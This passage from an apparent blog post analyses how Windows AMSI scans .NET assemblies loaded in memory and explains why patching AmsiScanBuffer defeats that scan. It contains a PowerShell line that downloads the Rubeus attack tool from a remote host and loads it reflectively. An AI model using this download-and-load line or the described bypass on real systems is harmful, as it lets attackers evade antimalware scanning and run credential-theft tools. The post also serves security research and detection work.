1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*4pfK9pvp7NE33hSz.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*4pfK9pvp7NE33hSz.png 640w, https://miro.medium.com/v2/resize:fit:720/0*4pfK9pvp7NE33hSz.png 720w, https://miro.medium.com/v2/resize:fit:750/0*4pfK9pvp7NE33hSz.png 750w, https://miro.medium.com/v2/resize:fit:786/0*4pfK9pvp7NE33hSz.png 786w, https://miro.medium.com/v2/resize:fit:828/0*4pfK9pvp7NE33hSz.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*4pfK9pvp7NE33hSz.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*4pfK9pvp7NE33hSz.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*4pfK9pvp7NE33hSz.png)</source></source></picture></div></div></figure># Bypass AMSI for Assembly Load

We discussed how to bypass AMSI before executing powershell scripts. However, the content of .NET assembly will also be scanned by AMSI, and the process is slightly different. As a result, attacking AmsiInitialize or AmsiOpenSession does not work.

We can use reflection to download a C# tool in memory and execute it.

```
$data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’)<br></br>$assembly=[System.Reflection.Assembly]::Load($data)
```

As the following 2 screenshots show, we already bypassed AMSI by attacking AmsiOpenSession and AmsiInitialize, but we cannot load Rubeus in memory.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--28"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqv"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*M8TDEw62U-6a8wtv.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*M8TDEw62U-6a8wtv.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*M8TDEw62U-6a8wtv.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*M8TDEw62U-6a8wtv.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*M8TDEw62U-6a8wtv.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*M8TDEw62U-6a8wtv.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*M8TDEw62U-6a8wtv.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*M8TDEw62U-6a8wtv.png 640w, https://miro.medium.com/v2/resize:fit:720/0*M8TDEw62U-6a8wtv.png 720w, https://miro.medium.com/v2/resize:fit:750/0*M8TDEw62U-6a8wtv.png 750w, https://miro.medium.com/v2/resize:fit:786/0*M8TDEw62U-6a8wtv.png 786w, https://miro.medium.com/v2/resize:fit:828/0*M8TDEw62U-6a8wtv.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*M8TDEw62U-6a8wtv.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*M8TDEw62U-6a8wtv.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*M8TDEw62U-6a8wtv.png)</source></source></picture></div></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--29"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqw"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*VxGHeTWYsvO7BJwu.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*VxGHeTWYsvO7BJwu.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*VxGHeTWYsvO7BJwu.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*VxGHeTWYsvO7BJwu.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*VxGHeTWYsvO7BJwu.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*VxGHeTWYsvO7BJwu.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*VxGHeTWYsvO7BJwu.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*VxGHeTWYsvO7BJwu.png 640w, https://miro.medium.com/v2/resize:fit:720/0*VxGHeTWYsvO7BJwu.png 720w, https://miro.medium.com/v2/resize:fit:750/0*VxGHeTWYsvO7BJwu.png 750w, https://miro.medium.com/v2/resize:fit:786/0*VxGHeTWYsvO7BJwu.png 786w, https://miro.medium.com/v2/resize:fit:828/0*VxGHeTWYsvO7BJwu.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*VxGHeTWYsvO7BJwu.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*VxGHeTWYsvO7BJwu.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*VxGHeTWYsvO7BJwu.png)</source></source></picture></div></div></figure>However, if we patch AmsiScanBuffer, we will be fine and successfully load Rubeus in memory.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--30"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqx"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*pkKNhvWefQWsFYc-.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*pkKNhvWefQWsFYc-.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*pkKNhvWefQWsFYc-.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*pkKNhvWefQWsFYc-.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*pkKNhvWefQWsFYc-.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*pkKNhvWefQWsFYc-.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*pkKNhvWefQWsFYc-.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*pkKNhvWefQWsFYc-.png 640w, https://miro.medium.com/v2/resize:fit:720/0*pkKNhvWefQWsFYc-.png 720w, https://miro.medium.com/v2/resize:fit:750/0*pkKNhvWefQWsFYc-.png 750w, https://miro.medium.com/v2/resize:fit:786/0*pkKNhvWefQWsFYc-.png 786w, https://miro.medium.com/v2/resize:fit:828/0*pkKNhvWefQWsFYc-.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*pkKNhvWefQWsFYc-.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*pkKNhvWefQWsFYc-.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*pkKNhvWefQWsFYc-.png)</source></source></picture></div></div></figure>Why? Because when **Assembly.Load()** method is used, function **AmsiScan** in **clr.dll** will be called additionally.

Set 4 breakpoints for powershell.exe process

**amsi!AmsiInitialize  
amsi!AmsiOpenSession  
amsi!AmsiScanBuffer  
clr!AmsiScan**

After supplying malicious content “invoke-mimikatz”, breakpoints at AmsiOpenSession and AmsiScanbuffer are reached, but functions **AmsiInitialize** and **AmsiScan** are not called。

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--31"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqy"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*5CJcYh4a8BelZZUQ.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*5CJcYh4a8BelZZUQ.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*5CJcYh4a8BelZZUQ.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*5CJcYh4a8BelZZUQ.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*5CJcYh4a8BelZZUQ.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*5CJcYh4a8BelZZUQ.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*5CJcYh4a8BelZZUQ.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*5CJcYh4a8BelZZUQ.png 640w, https://miro.medium.com/v2/resize:fit:720/0*5CJcYh4a8BelZZUQ.png 720w, https://miro.medium.com/v2/resize:fit:750/0*5CJcYh4a8BelZZUQ.png 750w, https://miro.medium.com/v2/resize:fit:786/0*5CJcYh4a8BelZZUQ.png 786w, https://miro.medium.com/v2/resize:fit:828/0*5CJcYh4a8BelZZUQ.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*5CJcYh4a8BelZZUQ.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*5CJcYh4a8BelZZUQ.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*5CJcYh4a8BelZZUQ.png)</source></source></picture></div></div></figure>If executing **\[System.Reflection.Assembly\]::Load()** command, we find that the first 2 breakpoints are still reached, and this time, we have three more hits. The 3 more hits prove that .NET assembly in memory is scanned additionally.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--32"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqz"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*2RrZPAJ8kL6Debp1.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*2RrZPAJ8kL6Debp1.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*2RrZPAJ8kL6Debp1.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*2RrZPAJ8kL6Debp1.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*2RrZPAJ8kL6Debp1.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*2RrZPAJ8kL6Debp1.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*2RrZPAJ8kL6Debp1.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*2RrZPAJ8kL6Debp1.png 640w, https://miro.medium.com/v2/resize:fit:720/0*2RrZPAJ8kL6Debp1.png 720w, https://miro.medium.com/v2/resize:fit:750/0*2RrZPAJ8kL6Debp1.png 750w, https://miro.medium.com/v2/resize:fit:786/0*2RrZPAJ8kL6Debp1.png 786w, https://miro.medium.com/v2/resize:fit:828/0*2RrZPAJ8kL6Debp1.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*2RrZPAJ8kL6Debp1.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*2RrZPAJ8kL6Debp1.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*2RrZPAJ8kL6Debp1.png)</source></source></picture></div></div></figure>Inspect function **AmsiScan** in **clr.dll**, we find that AmsiInitialize and AmsiScan are called, while AmsiOpenSession is not called.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--33"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg ara"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*iveKJM_o_a7G8XM_.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*iveKJM_o_a7G8XM_.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*iveKJM_o_a7G8XM_.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*iveKJM_o_a7G8XM_.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*iveKJM_o_a7G8XM_.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*iveKJM_o_a7G8XM_.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*iveKJM_o_a7G8XM_.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*iveKJM_o_a7G8XM_.png 640w, https://miro.medium.com/v2/resize:fit:720/0*iveKJM_o_a7G8XM_.png 720w, https://miro.medium.com/v2/resize:fit:750/0*iveKJM_o_a7G8XM_.png 750w, https://miro.medium.com/v2/resize:fit:786/0*iveKJM_o_a7G8XM_.png 786w, https://miro.medium.com/v2/resize:fit:828/0*iveKJM_o_a7G8XM_.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*iveKJM_o_a7G8XM_.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*iveKJM_o_a7G8XM_.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*iveKJM_o_a7G8XM_.png)</source></source></picture></div></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--34"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg amq"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*9G2DugkC6y3P46Wm.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*9G2DugkC6y3P46Wm.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*9G2DugkC6y3P46Wm.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*9G2DugkC6y3P46Wm.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*9G2DugkC6y3P46Wm.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*9G2DugkC6y3P46Wm.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*9G2DugkC6y3P46Wm.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*9G2DugkC6y3P46Wm.png 640w, https://miro.medium.com/v2/resize:fit:720/0*9G2DugkC6y3P46Wm.png 720w, https://miro.medium.com/v2/resize:fit:750/0*9G2DugkC6y3P46Wm.png 750w, https://miro.medium.com/v2/resize:fit:786/0*9G2DugkC6y3P46Wm.png 786w, https://miro.medium.com/v2/resize:fit:828/0*9G2DugkC6y3P46Wm.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*9G2DugkC6y3P46Wm.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*9G2DugkC6y3P46Wm.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*9G2DugkC6y3P46Wm.png)</source></source></picture></div></div></figure>In summary, the one-liner payload that attacks AmsiInitialize does not work because the payload changes sub-values of the **System.Management.Automation** namespace. This namespace is the root namespace for PowerShell; it is not related to .NET assembly scanning. AmsiOpenSession is not called in AmsiScan at all. AmsiScanBuffer is called, therefore, the bypass technique by attacking AmsiScanBuffer still works when loading a .NET assembly.

# Reference

[https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg](https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg)  
[https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize)  
[https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession)  
[https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer)  
[https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)  
[https://github.com/rasta-mouse/AmsiScanBufferBypass](https://github.com/rasta-mouse/AmsiScanBufferBypass)  
[https://book.hacktricks.xyz/windows-hardening/windows-av-bypass](https://book.hacktricks.xyz/windows-hardening/windows-av-bypass)  
[https://github.com/TheD1rkMtr/AMSI\_patch](https://github.com/TheD1rkMtr/AMSI_patch)  
[https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/](https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/)  
[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)  
[https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/)  
[https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/](https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/)